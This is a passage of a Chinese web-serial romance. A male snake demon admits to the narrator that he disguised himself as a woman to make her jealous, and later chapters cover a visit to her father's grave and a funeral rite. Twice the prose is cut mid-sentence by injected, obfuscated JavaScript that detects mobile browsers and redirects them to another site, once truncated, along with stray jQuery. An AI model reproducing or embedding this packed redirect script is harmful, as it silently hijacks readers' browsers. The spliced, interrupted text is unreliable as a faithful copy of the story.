“有你在他身边照顾他,他应该不会有事……他现在怎样,与我无关。” “哎呦我的姑奶奶,你是真的冤枉他了。” 今天的紫蛇也很怪,行为举止全然没了前几次相见的淑女稳重,动作粗鲁地捞起袖子火急火燎道: “妹妹,今天姐姐我就是来给你化解心结的!帝君他不是那种没有底线的男人,他除了你,根本不会碰任何女人!” 我不想听她狡辩,抬腿就走:“他爱碰谁碰谁,我说了,与我无关。” “别!” 她一把抓住我的手,拽着我不让我走,同时还扯着我的胳膊拼命把我的手按向她胸口…… 我大惊失色,“你干什么!” 她压下我的反抗,手劲贼大地猛一用力—— 下一秒,我的手就被迫按在了、她邦邦硬的胸脯上! 我陡然僵住,不敢相信地昂头诧异望向她…… 怎、怎么是硬的? 紫衣蛇女欲哭无泪道:“我不是女人!” 第114章 如果需要,我可以给你演个情夫~ 不、不是女人? 我见了鬼似的惊恐把手缩回来! 蛇女一脸无奈的尴尬扶额: “我是货真价实的男人!你要是不信,我还可以把裤子脱……” “不不不、不用!”我连忙抬手拒绝他,一个劲地往墙边退,离他远点! 蛇女想了想,还是不紧不慢地抽掉腰带,将交领紫色绣花纱衣往两侧一拉,露出男人平坦健硕,线条分明的雪白胸膛…… “用和别的女人亲近来刺激你的法子,是我给帝君出的! 造成你俩有隔阂的罪魁祸首,是我! 但我、本意是好的。 我以前也经历过类似的情况,最后就是用这个办法解决的…… 只是我没想到你气性这么大。 不过也是我疏忽了,我忽略了男女思想的差异,男人嘛,心大、理智,被人这么刺激反而有助于感情的进展。 可女孩子是感性群体,天生思想就比男人要敏感、情绪化。 一点点异常就能引起女孩子的恐慌,何况、这次确实是我下手重了。 我对不起你……那天你和谢妄楼在一块,帝君发现后第一时间就想去找你,是我拉住了帝君,帝君赌气抱我离开,但人还没走远,就反悔了,又回去找你了。 说来也是凑巧,那天帝君都打算收手,回家向你道歉了,结果碰上了你们的大祭司和宋花枝闹那一茬。 她们说你要对付帝君,帝君不信的,谁知回家你就塞给他一个香囊,那平安符是被我误认成降妖符的…… 主要是你那符画得太厉害了,我一个修行了六百年的大妖,差点被你的符烫死! 帝君恼你不信她,你呢,恼他不信你……你俩之间的误会越来越深。 其实、是要因为你们都深爱彼此。 所以在被对方辜负真心的时候,才会这样痛苦煎熬……” 蛇女拉住我的袖子,满脸歉意地晃了晃: “原先我是建议他找个真女妖来配合他演戏的,可他坚决不同意,死活不肯碰除你之外的女孩。 没办法,只能我这个真男人上了! 他这些年来,一直把自己束缚得死死的……他从没有做过任何对不起你的事。 你**针第二天,他也在和黑蛟争斗时受了重伤,他怕你发现他身上有很严重的内伤,就不敢接近你。 恰好那晚,我们为了给他疗伤,好说歹说劝他服用了白术炼制的灵丹,但灵丹的副作用就是会封闭帝君的五感,所以回来看你的时候,才没察觉到你中了狐毒。 只是,你的话还是让他起了疑心,他不好让白术与仇惑替他来检查你体内是否有毒素,只能回去让那两个小王八蛋把我从头至尾检查一遍,确认我体内确实无毒后才肯放下心! 谁能料到谢妄楼那鳖孙子竟然搞阴的……” 我愣愣听他说完,还是无法完全接受他是男人的设定。 “你……真是男人?可你的脸、你的嗓音……” 根本不可能是男人好不好! 蛇女瞬间拉长脸,忿忿不平道:“我天生就长得好看不行嘛!我的嗓音……可以变!” 后半句话,他直接恢复了年轻男子的爽朗声调。 我:“……” 我去,还带变的! “那你岂不是可男可女?你雌雄同体?”我好奇追问。 活了这么多年头一次在现实中见到可男可女的、蛇妖……我是真感兴趣! 蛇女抽了抽嘴角,干笑:“呵、呵呵,神**雌雄同体……小爷我!如假包换的真汉子!” 说着还捞起自己的绣花广袖,弯起手臂向我证明: “不信你看小爷的肱二头肌!” 再挺胸往我跟前凑凑: “还有小爷的八块腹肌!小爷的身子哪里像雌雄同体了!除了这张脸……男人有的特征小爷都有!” “……”我无语地吞了口口水:“那你、为什么扮起女人那么像……还有,你之前的一举一动,简直比我还像女人……” “我扮女人、又怎么了?人还不能有个兴趣爱好么!”蛇女说得理直气壮。 我哽住,干笑:“能、当然能!” 蛇女掐腰心累解释: “我扮女人像是因为、我打小就被我养父母当闺女养。 我是我养父母从斗兽场上买回家的养子,家里还有个姐姐,小时候我总跟在姐姐身边,养父母为了方便,就把我也打扮成闺女,当成女孩养,这样外面那些人就不会说三道四了…… 直到我跟着帝君混,才改回男装,但我挺喜欢做女孩的,只是帝君比较恶心我女装的样子……” “原来如此。”我怔了怔,索性趁他在,打破砂锅问到底:“那天在柳叶村,你和他化成原形缠在一起、你们俩那样亲密又是什么情况?” 不是女孩,难不成青漓和他…… 是弯的?! 毕竟谁家两个大老爷们**的缠在一起啊,脖子上还有几处不可描述的暧昧红痕…… 这简直、比他出轨还可怕! “缠、缠在一起?” 蛇女呛住,青着脸焦躁道: “你、你怎么看出来我俩缠在一起的! 你怎么能用缠这个字形容,你不会是腐女吧? 你不会有什么特殊癖好吧! 我告诉你啊,我性取向没问题,帝君性取向更没毛病,他比我还直! 再说我就算是弯的……我也不可能看上帝君啊! 就帝君那动不动就冷脸拿眼刀刮人的臭脾气,也就只有你才能忍得了他了,反正我受不了! 我脑子被驴踢了才会喜欢上一个成天压榨我动不动就一巴掌扇飞我的万恶男上司!” 他特意将‘男上司’三个字咬得很重。 能感觉到他对青漓实打实的嫌弃! 我尴尬的嘴角抽搐。 他无奈说明实情: “那天我俩不是缠在一起!那天是我惹他动怒了,他在收拾我,我俩是在打架! 当然这个打架也是他单方面殴打我……我压根没敢反抗。 在你和谢妄楼出现的前一刻钟,我和帝君才追着黑蛟的踪迹找到那里…… 帝君和那条黑蛟打得昏天黑地,后来眼见着黑蛟就要被帝君按死降服了,我没留意、中了黑蛟的圈套……一不小心摔了一跤,还踢翻了帝君,害得帝君法力一松,又让那条死蛟逃了。 是我拖了帝君的后腿,我还踹了帝君一脚,帝君被我气**,转头就把我按在地上打! 什么缠在一起,分明是他在锁我的喉,我脖子都被他勒红了,头发都被他打散了! 要不是你和谢妄楼出现的赶巧,帝君非一口咬死我! 我说妹妹啊,你这脑子里究竟都装的是什么啊,能不能别一看见两条蛇在一起……就胡思乱想。 谁家公蛇母蛇亲密,公蛇勒对方脖子啊!” 我意外地皱眉,揉揉鼻子,有些不大好意思: “我、那不是不了解你们蛇类的习性嘛。再、再说,隔得那么远我怎么知道你俩是在打架还是在交……” “妹妹!”蛇女霎时被我吓白了的俏脸,激动吼起来打断我。 我呛住,心虚掩唇立刻改口:“啊呸!呸呸!” 蛇女看我的眼神,愈发嫌弃…… 我尴尬的目光躲闪,着急转移话题:“那、他那天还送你凤凰花簪子……” 蛇女反应迟钝的过几秒才哦了声,抬手拔下头上的红玉花簪,递给我看: “你说的是这枚簪子吧?这的确是帝君送我的,但你别多想啊,他当时亲手把簪子插在我脑袋上确实有和你赌气的成分在! 但这枚簪子真正的主人……就是我。 这是我找桃花妖做的,虽然款式是抄袭帝君打算送你的那一款,可这簪子……是我拆了自己一截蛇骨做的。 你应该不介意我的簪子和你的撞款吧,别那么小气嘛。 而且,这只是帝君设计的第二版,明明已经很完美了,他老人家非觉得还不够好看,后面又连续升级了两版设计图,桃花妖都快被他烦**。 我当时就想着,反正帝君是按第四版设计图给你做的,他不要的第二版设计图就归我了,我拿去用。 实话实说,帝君这老家伙平时虽说挺讨人厌的,事多又面瘫,但他老人家的审美是真好,设计图画的是真好看。 难得他愿意动笔设计这些女孩子的饰品,我当然得沾沾光,得到就是赚到啊!” “这簪子……是用你的蛇骨做的?你、一个男孩子,你现在不是改回男装了吗?还要这花簪子做什么……”我弱弱问他。 他被我问住,若有所思地沉默半晌,才没心没肺道:“你管我!我有收集癖不行吗?” “那……” 不等我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274960|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再多问,他就老老实实地主动坦白了: “簪子是我自己的,帝君是抱我了,但是我俩都快膈应**。 香囊是我从红云洞偷出来的,我以为你想伤害帝君,帝君又舍不得真把香囊扔了毁了,我就背着帝君把香囊里的平安符丢了,然后才敢拿着你给帝君的香囊跑到你面前刺激你。 后来帝君知道你受委屈了,知道是他冤枉了你,就连夜跑出去找被我扔掉的平安符…… 找了好几个小时,才在山沟沟里找到差点被吹进泉水里的三角符,从那天开始,帝君就把你送的平安符放在心口贴身保存。 帝君晓得他这回做的过分了,惹你难受了,他也不是什么擅长哄姑娘的男人,你一哭,他就方寸大乱了。 早上我看见他旧病又犯了,身上全是血,我就知道,我不能再惹了事却装缩头乌龟,不管不顾了。 解铃还须系铃人,这事由我而起,就得我来向你解释清楚。” 说完,他忽然抬手化出一柄刃口锋利的弯月妖刀,双手奉给我。 又面色严肃地扑通冲我跪下,低头凝声请罪: “帝后,千错万错都是小妖的错!求你原谅帝君吧,帝君都是听从小妖的怂恿才做的那些事!帝后你要是觉得不解气,你就刮小妖几刀!” 这负荆请罪的态度……也太强势了! 我踉跄后退两步,心慌拒绝:“他……是蛇王,还用不着你一个下属替他顶罪。再说,这本来就是我们两个人之间的恩怨,和你、关系不大!” 要说和他无关肯定是不可能的。 毕竟我从头到尾介怀的就是青漓为了气我,和别的女人搂搂抱抱。 就算晓得他俩之间没有我害怕的那种感情,可我难受的是……只要他生气,就可以让别的女人顶替我被他呵护。 这样会让我觉得,我随时都可以被遗弃,我不是他的唯一选择。 原本,他是蛇仙我是人,我们之间就有生老病死的差距,他可以千年万年面容不改,我却会越来越老,越变越丑,还会老死…… 有这些差距在,我才在这段感情中不自信。 他亲近别的女人刺激我,我肯定无法接受。 但现在……紫蛇又告诉我,他守住了底线。 他也不愿对我下那么狠的手。 紫蛇不是女人…… 他们可真是会耍我玩。 “帝君他不是薄情寡义之人,帝君这辈子,没有开心安稳过多少年…… 他生来就是尊贵的蛇主,可却被可恶的蛟族掳走,抽他的灵髓供养那条死黑蛟! 好不容易和父母相认,父母又被蛟族设计,双双惨死。 黑蛟为了报复他,把他锁在水牢里,在他意识清醒时,将他的蛇鳞一片一片拔掉,放任数千条恶蛟去啃噬他的血肉…… 他吃了很多苦,受了很多酷刑,才从蛟族的水牢里爬出来,吊着一口气回到蛇族,找他叔叔。 他幼时被蛟族折磨出了心理阴影,伤了脑子,最开始,只是会拔自己的鳞片。 三百多年前,他历雷劫,被天雷劈散了记忆封住了修为,又变回了那只法力微弱的小青蛇。 且阴差阳错,落进了那条发了疯的黑蛟手里,黑蛟恨他灭了自己全族,便趁着他历劫,记忆全无之际,用妖刀把他千刀万剐,剁成了碎蛇…… 幸好有个仙人救下了他,打跑了黑蛟,重新将他的身躯一块一块,拼凑完整。 经历此劫后,他就有了自虐倾向。 当年那个仙人被别人害死以后,他一个人躲在山洞里,拿刀子削自己的肉…… 帝君此生最快乐的日子,就是和你在一起的这段时间。 如果没有你,他很多年前就扛不下去了! 鸾镜妹子,就当我求你,要怪就怪我吧,你心里有气往我身上撒! 是我没轻没重怂恿帝君,你生气都是应该的。 我今天来只是想让鸾镜妹子知道,帝君没有不在乎你,没有舍得伤害你…… 你怨他也好不理他也罢,求你别对他动真格。 大、大不了我配合你,再把他刺激回来!” 我呛住:“刺、刺激回来?!” 他要不要听听他在说些什么…… 蛇女信心满满地捧着弯刀一本正经: “我演戏超会的!我可以恢复男子装扮,到时候给你演个情夫……” 第115章 李叔:当年是她不肯嫁…… “等等等!”我赶忙打断,头皮发麻,干笑两声:“那还是算了,我没这个癖好!” 再说我还需要找他来演情夫吗? 我直接与赵二宋潮生走近些,再故意创造肢体接触的机会…… 稍稍摸一下对方的小手,就能把那条蛇气的打结。 蛇女还怪我气性大,我要是跑出去和别的男人搂搂抱抱,在他与别的男人一起被谢妄楼伤害的情况下,转身扶着别的男人走了,回头还要责备他一句:装什么,真矫情。 他怕是得原地气**! 更何况,我才不会选择用这种伤人的方式报复他。 往人心上扎刀子,就是在往墙上钉钉子。 哪怕刀子**了,心上的伤口也不会愈合。 “那你原谅帝君了?!”蛇女激动得两眼冒光。 我低头,黯下眸色,心情压抑道: “就算他没有和别的女人亲近,他的这个做法,也已经伤透了我的心……分开,或许对我们俩都好。 既然和我闹别扭会让他痛苦到自虐,那远离我,他或许能过得更好。” 蛇女不理解的啊了声,没料到哪怕我知道了真相也不肯原谅那人,表情扭曲地扑到我身上抱着我双腿发疯: “为什么啊!鸾镜妹子你不能这么无情啊!难道夫妻之间闹个小别扭、就真得到不可挽回的地步吗? 鸾镜妹子啊,帝君已经知道错了!要他怎么做,你才能原谅他啊! 鸾镜妹子,要不然你抽他两巴掌撒气吧…… 只要你别甩了他,让他做什么他都愿意,你就给他一个弥补错误的机会吧——” 他原来也害怕被甩,我还以为,只有我一个被抛弃了,会难受呢。 蛇女缠着**嚎了好半晌,直到小凤飞来找我,那家伙才害怕地变成原形一溜烟跑了…… 也对,小凤是凤凰,他是蛇,神鸟是蛇类的天敌。 与蛇女一比,那条大青蛇真不愧是修炼千年的厉害蛇仙。 毕竟,以往只有他将小凤镇得瑟瑟发抖的份。 “主人,那条蛇不是近几日跟在渣蛇身边的紫蛇吗?她来找你干嘛?不会是来欺负主人,在主人面前炫耀的吧!我去咬死她!” “没有小凤,他对我没有恶意,他来找我,是为了告诉我……他不是母蛇。” “哇?” “他是条实打实的公蛇……这几天扮成女人,只是为了配合青漓气我。” “他与帝君果然是演戏,还真被主人你猜到了。那主人,帝君没有出轨,紫蛇也不是真的女人……你什么时候原谅帝君啊?” “你就这么盼着我原谅他?” “也不是,主人你相信我,我肯定是站在你这一方,无论主人做什么选择,小凤都支持主人!只是,小凤最近无意得知了关于帝君的一个小秘密……小凤觉得,帝君人还是蛮好的,主人和帝君,是真有缘分在。” “哦?什么小秘密?” “唔,我答应了青鸟哥哥不说的……” “好吧。” 小凤突然飞到我的前方,兴致勃勃道:“小凤在冥界鬼市上听说书先生讲了个挺好玩的故事,主人你要不要听!” 我瞧了她一眼,她藏不住话地祈求:“主人,你听嘛,听一下呗。” 我拿她没法子:“嗯,那你说。” 小凤迫不及待地给我分享: “很久很久以前,在神界有两位大神,一位掌管天地秩序,人间旦夕祸福,一位执掌苍生气运,诸仙升迁。 一个住在西边仙山上,一个住在东方沧海之上。 这两位大神呢,原本是没有任何交集的,在上古时期面都没见过几次,但天道却突然下旨,给两人定了婚约。 住在西边的那位娘娘生性爱自由,不喜欢被婚姻束缚,就一拖再拖,一直不肯同东边那位神君议亲,东边那位神君也耐着性子等了,不过,他没有西边的娘娘淡定,他隔三岔五就去偷看西边的娘娘。 后来西边的娘娘与东边神君总算见着面了,但两人一碰面,就总是会误打误撞发生很多怪事,西边娘娘不是把东边神君踹河里,就是把东边神君打晕头。 有一次,西边的娘娘还把一条死鱼拍东边神君脸上了! 东边帝君是个老古板,当时我、很多人都以为西边娘娘要完蛋了,她肯定要被东边神君嫌弃了……” 我笑笑:“老古板的确不适合配活泼款的,天道是怎么想的,给他俩定婚约。那后来呢?东边神君和西边娘娘的婚事黄了吗?” “没有……” “这都没黄,他俩的姻缘线挺结实啊!” 小凤拉长音呃了声: “当时很多神仙都以为东边那位神君要生气,谁知道东边神君脑子里哪根筋抽了,竟然破天荒的没计较。 西边娘娘还以为东边神君不认识自己,不晓得之前惹到他的就是自己,在东边神君去她神宫拜访时,吓得再三闭门不见,最后一次,她被逼得不得不见了,只好蒙着面纱过去见人…… 可谁能想到啊,东边神君早就知道前几回害自己的是未婚妻了。 之后,东边神君总去找西边娘娘,西边娘娘被缠得受不了了,渐渐地,两人一见面就掐架。 西边娘娘总以为,东边神君嫌弃自己,天界逼婚,西边娘娘还在大婚之日逃婚了,闹得东边神君颜面尽失。” “那,东边那位,真的嫌弃她吗?” “才不呢!西边娘娘这么闹,东边的神君也没生气,只是后来去找西边娘娘的次数减少了很多。” 我叹口气:“也许,是被西边娘娘的行为伤到心了吧?” 小凤挥挥翅膀: “嗯哼,就在众仙都以为这两位不但婚事要黄,可能还会变成见面就开撕的那种仇家时,西边娘娘突然要下界办事。 但下界后要以凡人之身入世,过程会比较凶险,众仙都担心娘娘会不会有性命之危…… 为保神界安稳,娘娘离开神界的消息也被封锁了,除了娘娘的几位亲信仙人,无人知道娘娘何时下界,何日轮回。 娘娘走之前,没有允许仙人将她入世的消息透露给东边神君,娘娘不想扰他清静给他添堵,结果主人你猜怎么着! 娘娘投入轮回道那一刻,东边帝君忽然红着眼眶出现在地府轮回殿,不顾冥王的阻拦,二话没说就跳进轮回道追随娘娘而去了!” “他、不会暗恋那位娘娘吧!”我震惊不已。 小凤骄傲地挺直脖子: “主人你猜对了!他肯定爱死那位娘娘了。 轮回道凶险,神仙入轮回道转生都是要提前算时辰的,稍有不慎就会道行尽散。 但当时东边那位神君太害怕了,也不晓得是哪个半吊子给他传递的假信息,让他误以为娘娘入世凶多吉少,他怕失去娘娘,就二话没说跳进了轮回道…… 后来,也不晓得被扔进了六道中哪一道……” 我抿了抿干涩的唇瓣:“他,或许不是老古板,是不善表达。” 小凤凰深表赞同地嗯了声: “他才不是厌恶娘娘呢,他喜欢的不行。 后来才听说,他刚得到天道赐婚的旨意,就迫不及待地命人装饰神府,原本素净的神境,被他搞得红彤彤一大片,像是恨不得告诉所有神仙,他要和心爱的女子成婚了。 得知娘娘并不想嫁他,他失落了很久,他缠着娘娘不放,就是希望娘娘能多看他一眼。 娘娘逃婚,他伤心之余,又怕自己紧追猛赶惹娘娘厌烦,这才减少了出现在娘娘面前的次数。 没想到再听见娘娘的消息,是娘娘要去赴死……他便想,生不能在一起,死也要陪着她。” 我重重叹息:“他也是个性情中人……后来呢,他们修成正果了吗?” 小凤凰哽住:“啊,不知道呢。” 我被她勾起了好奇心:“你没听完啊!” 小凤凰委屈巴巴:“说书先生没编完呢……” “那他什么时候能编完啊?” “不知道呢……” 我失落扶额:“以后这种太监故事请不要和我讲,盼更新是件很难熬的事好不好!” 小凤凰:“啊?那位神君不是太监啊!” 我耐心科普:“太监文,指编了一半不往后编的故事。” 小凤凰猛松一口气:“哦吓死小凤了,小凤还以为帝君不行了呢……” 是我听错了么,刚才小凤似乎提到了青漓? …… 紫蛇回去后,这一天一夜,我都没有再见到那条大青蛇。 也许,是发现我态度坚决……他也放弃了吧。 第二天一早, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前面二十多年都已经熬过来了,现在有老祭司和他作伴,没必要再迁坟了。 老祭司的仙力镇着这片地,你爸的尸骸会比从前舒服些。” “其实我一直都不明白,为什么从小到大,每年都只有我和外婆来给爸爸上坟……宋花枝和大祭司为什么、不管爸爸。” 我烧着黄纸,低垂着脑袋眼角湿润地问出了那个埋藏在我心里多年的疑惑: “李叔,大祭司对我爸有感情吗?为什么她从不带宋花枝来看望爸爸。” 小时候我也问过外婆同样的问题,可外婆却告诉我,等我长大了,有些事自然就想通了。 现在我都二十二岁了,还是琢磨不透这些问题。 宋淑贞不来看望爸爸也就算了,宋花枝她也是爸的亲女儿啊! “她对你父亲有没有感情不重要,重要的是你父亲深爱她,视她如宝。” 李大叔蹲在坟包边,面无表情道: “鸾镜,有些事不必过于执着非要得到一个确切的答案,你想要的答案,对你来说可能是徒增烦恼。 更何况你父亲人都走了,谁在意他谁不在意他,对他都没有任何意义了。” 李大叔昂头,看着我爸坟头高高垒起的这层新土,忍不住感慨道: “你爸是个很有才情的男人,你母亲刚怀上你和宋花枝的时候,他想了很久,才给你们起了鸾镜、花枝这两个名字。 小鸾镜你知道么,你和你姐姐的名字是出自那句诗,鸾镜与花枝,此情谁得知……你和你姐姐,都是你父亲最珍视的女儿。” 我垂头丧气越听越难受, “李叔,你和我父母之间,当年究竟发生了什么事。 为什么大祭司要嫁的人是你,最后却嫁给了我父亲。 您都已经扛过阴苗族的入族考验了,为什么后来却又放弃加入阴苗族,不娶大祭司了?” 李大叔烧纸的动作顿了顿,眼底一片灰暗:“当年,不是我不愿意娶,是她不肯……” 可惜李大叔还没说完,就被蹲在旁边无聊刨坑玩的银杏突然打断: “嗳?爸,镜镜爹的坟地里怎么有个刻字的小木人?!” 第116章 吃人的黑蛟 木人…… 李大叔闻言一怔,只抬头瞟了银杏手里的小木人一眼,就迅速赶过去将东西夺走顺手塞进了自己的袖子里。 脸色难看的沉声敷衍:“守坟童男罢了,坟里东西阴,你们女孩子不要随便碰。这东西在坟里埋了二十来年,已经无用了,我带回去处理了。” 尽管他将东西藏得快,可我还是扫见了那东西的具体模样。 根本不是什么守坟童男。 是一枚诅咒巫童。 呵,宋淑贞可真是……恨毒了我爸! 连他死后,也要诅咒他在地狱受苦,永不超生。 不过东西既然已经被李叔收去了,我相信以我爸和李叔的交情,他肯定会妥善处置那枚脏东西的…… 就算我知道了真相又能如何,宋淑贞如今在阴苗族只手遮天,我难不成、还能因为这种事,找宋淑贞大吵大闹吗? 为今之计,最重要的是赶紧解决问题,让我爸能少受一天影响,就少受一天。 “李叔。”我闷声镇定问他:“我爸在你的印象里,是个什么样的人?” 李叔整理着袖口,眼底的光愈发深沉: “他,是个老好人。他是我来阴苗族,第一个向我表示善意的男人。 他为人憨厚,老实正直。 他和老赵从小一起长大,兄弟多年,老赵当选村长后,也是他帮老赵照应着这个村子,但凡谁家需要帮助,他都第一时间冲过去施以援手。 他啊,善良又心软,这是他的长处,也是让他万劫不复的致命缺陷。 时隔多年,我午夜梦回,还是时常会想起那个穿着蓝旧布衫,面上时常挂着傻笑的年轻男人。 如果他还在,肯定和你赵叔一样,成天忙着给村里人排忧解难,脚不沾地人不着家。 如果他还在,我们兄弟三个肯定经常聚在一起,他俩说不准一闲下来,就拉着我打牌。 你爸啊,单纯得很,活了二十多岁,还是只会玩纸牌!麻将都不会搓。” 打小我就总在外婆口中听见她夸父亲…… 外婆与宋淑贞之间有隔阂,可却格外喜欢父亲这个女婿。 外婆走得太早,有很多谜团我都没来得及问清楚…… 譬如,外婆为什么会与宋淑贞母女生分到那种地步,以至于外婆大限将至时,宋淑贞还在盼着外婆早死。 譬如,我爸到底是怎么死的,为什么宋淑贞后来放弃与深爱的李大叔在一起,突然转头嫁给了我爸。 嫁给我爸,却又恨我爸。 …… 从我爸的坟地回来,我简单做了顿午饭,先喂饱小凤的肚子。 下午村东边的刘三火急火燎主动上门来找我,说是他家老母亲昨夜过世了,想求我去给老人家画张鬼符,引渡老人家早登彼岸。 画鬼符引亡魂涉忘川本就是鬼师的本职,我得知消息也是第一时间就跟着刘三赶去他家中了。 随后学着外婆生前的样子,先在亡人地铺头顶放一只香炉,点燃一炷香,再取鹰血混着朱砂,提笔绘好一张灵符。 按部就班地将灵符贴在亡人脚底板,做着外婆生前曾重复过无数次的仪式。 我捧着香炉在亡人额头上方绕了一遍,香头青烟虚浮,断断续续。 我见状拧眉问道:“老人家走的时候,你们都不在身边?” 香烟断断续续,是老人家生前有心愿未了,大多都是因为想在死前再见儿孙一面,可惜没见上。 刘三不好意思地揪着袖子内疚道: “昨天白天老母亲还好好的,能吃能喝能骂人,谁知道昨晚突然就去了…… 碰巧昨儿夜里我和张二狗带着老婆孩子去东边水塘那头网鱼了,刚到地,天就下起了暴雨,我们在旁边的山洞里困了一夜,今早雨停才回家! 回家以后孩子吵着要睡觉,我媳妇就下了锅面条,一家人简单吃点后睡到下午两点,两点半我就想着来看看老人家吃了没,谁知道一进门就看见老人家自个儿躺在地上。 我上去摸摸她额头,才发现老人家身子都僵硬了。 村里的王婆刚才也来看过了,说老人家应该是凌晨两三点走的……哎,谁知道我老娘,她突然就没了呢! 我招呼媳妇安置好老娘,唢呐队伍与花圈棺材都没来得及准备,就赶紧去找您了。 也不知道拖了这么久再请您画鬼符引路,还有没有用……” “有用自是有用,阴间拢共十三站,你母亲一日之内肯定是走不完十三站的。现在说不准刚迈上黄泉路,还来得及。” 我放下香炉,心生惋惜,温声提醒道: “你母亲生前没能见到你们最后一面,是带着遗憾上路的。 趁着现在你母亲的魂还没有走远,你把你的儿女还有媳妇,家里亲戚都赶紧喊过来,在你母亲床前喊几声,送她上路,请她好走。 有什么没来得及说的话,现在赶紧趴在她耳边说了,她还能听见,等走得再远些她就听不清了。” 刘三听罢赶忙点头去招呼:“好好好,我这就把老娘的大孙子喊过来,让他送奶奶最后一程!” 说完,人就匆匆忙忙地往外跑了。 待我这边的仪式做完,刘家的亲戚也来得差不多了。 刘三在外招呼着搭建灵堂,刘家大孙子小孙女站在老太太地铺前哭得伤心。 我出门与正忙着的刘三打了声招呼,准备收工回家。 路上,小凤凰从我袖子里探出头,飞出来…… “主人,为什么阴苗族的人死后,需要用鬼符引路?它们自己找不到下地府的道吗?而且,找不着路不是还有鬼差指引吗?” 我闲散地走在山间小道上,薅了一根狗尾巴草在手里把玩: “因为,相传阴苗族的前身九黎族乃是受西王母神恩的长生族落,由于族内修炼长生秘术,人人寿元都很长,乱了阴间生死薄上的记载,所以阴苗族的人过世后,都没有鬼差来接引。 他们若想顺利进入阴间转世投胎,必须得自己去寻土地庙,去找土地神要路引,迈上黄泉路后,也得自个儿摸索着往前走,阴间十三站,没有鬼差的带领,亡魂们很容易迷路。 为了避免阴苗族阴魂不入地府在阳间四处游荡,乱了阴阳秩序,地府便在人间设了鬼师一职,鬼师就是连通阴苗族阴阳两界的使者。 因此,鬼师的鬼符,也有给亡魂引路的效果。 最开始,鬼师的鬼符是需要族人诚心来跪求的,可到了外婆那一代,外婆心善,便主动给每一位过世的阴苗族亡人都赠一张鬼符。 久而久之,阴苗族但凡有人亡故,其家人都会来我家求鬼师赐符,这样亡人在踏入地府后,阴间的道便能好走些了。” “原来如此。”小凤摇头晃脑恍然大悟,“怪不得主人成了鬼师,村里那些家伙就不敢欺负主人了,原来是怕自己死后在阴间受罪啊!阴苗族这些人可真是无利不起早。” 小凤这么一提,我才突然想起来一茬很重要的事: “外婆在世时,曾和我说过,鬼师画鬼符也是有限制的,一生只能画三千张鬼符,也就活人死人加在一起,在不轻易浪费鬼符的情况下,只能救三千人与鬼…… 我之前为了对付谢妄楼那条死狐狸就已经浪费了很多张鬼符,看来以后鬼符得省着点用。” 不过,外婆把鬼师名录塞给我时,也没有特意叮嘱鬼符的数量是有限制的。 我现在还不确定,是每一任鬼师都只能画三千张鬼符,还是仅有外婆那一任,是因为什么特殊原因才受了限制。 而我之所以这样怀疑,是因为我幼时和外婆出门办事,曾无意偷听到外婆与前任紫月大长老的对话。 外婆说,她因着年轻时做过的某件错事,这辈子必须要画三千张鬼符渡众生,只有三千张鬼符用完了,她才能得到解脱…… 从前我以为外婆的鬼符只能用做引渡亡魂与降妖镇鬼,可当我接替外婆的鬼师一职后,才发现鬼符的用处很广泛,大到替人续命起死回生,小到引渡亡魂震慑精怪。 鬼符其实是鬼师的武器,只要鬼师想,鬼符可以助鬼师做到任何事! 包括……给鬼师延续寿元。 就像,上上任鬼师便是在鬼符护佑下,活了两百二十一岁。 且历任鬼师的死因,一半是为画鬼符降妖除魔体中灵力耗尽而亡,另一半是过多干涉他人因果,被天道反噬而亡…… 外婆就属于后者。 也不知道我这辈子,会是因为什么而身消道陨。 “鬼符、还有限制吗?”小凤晃了晃脑袋:“完蛋,不是很了解阴苗族与冥界的历史与规矩。” 我想了想,心放宽,松口气道:“算了,等下次再见到华桑大帝,我顺便问一嘴。” 小凤傻兮兮问:“华桑大帝知道鬼符怎么用吗?” 我浅声给她解惑:“你肯定猜不到,鬼师并不是阴间选的,是华桑大帝选的……华桑大帝在阴间也有神位,所以能代表阴间择选阳界使者。” “哇,华桑大帝那么厉害!” 小凤凰扇动翅膀疑惑咕哝: “小凤在神界的时候,从没听说过什么华桑大帝…… 不过可能是因为小凤不住在天界,对人间的消息不灵通,所以才会没听过这位地方镇山神祇。 小凤还是出发来阴苗族的前一个星期才从以为妖界鸟友的口中得知华桑大帝这号人物的。 我的鸟友告诉我,华桑大帝最近几千年才骤然飞升,成了天道承认,天帝敕封的一方大帝,他本体是条青龙,似乎,还是出自蛇族,乃是蛇化龙。 灵蛇化龙本就不易,他还化成了龙族中战斗力最强的青龙,更牛的是,他一飞升就被赐了大帝的神位。 虽然和酆都大帝紫薇大帝那些一界大帝没得比,但能成为凡界的山川大帝也很厉害了,妥妥的学霸无疑了! 小凤这样说,主人可能还感受不到那位大帝的凶猛之处,小凤换个形容主人肯定就明白了! 这个华桑大帝的大帝神位含金量,等同于主人你邻居家上不起学、还天生体弱多病的小可怜,有一天突然成了全省高考状元,还是理科状元!” 我哽住,默默朝小凤竖起一根大拇指: “这回是真的感受到了!阴苗族这种穷乡僻壤的山沟沟,教育条件本来就落后,族里的孩子们能顺利读完九年义务教育的都屈指可数,更遑论是参加高考了。 我们族里最有天赋,最争气的赵大哥当年也只是拼命考上了个省里重点大学,赵大哥之后这十来年,族里有人能考上专科,他父母都得摆酒席放鞭炮大肆庆祝一番了。 要是哪天我们身边真冒出来一个高考状元,我只会觉得那家伙着实是天赋型选手外加命硬!” “就是这个理呗。”小凤啧啧称叹:“妖界高层也是这么看这位华桑大帝的!不过,小凤倒真没想到,他竟在阴间也有神位!” 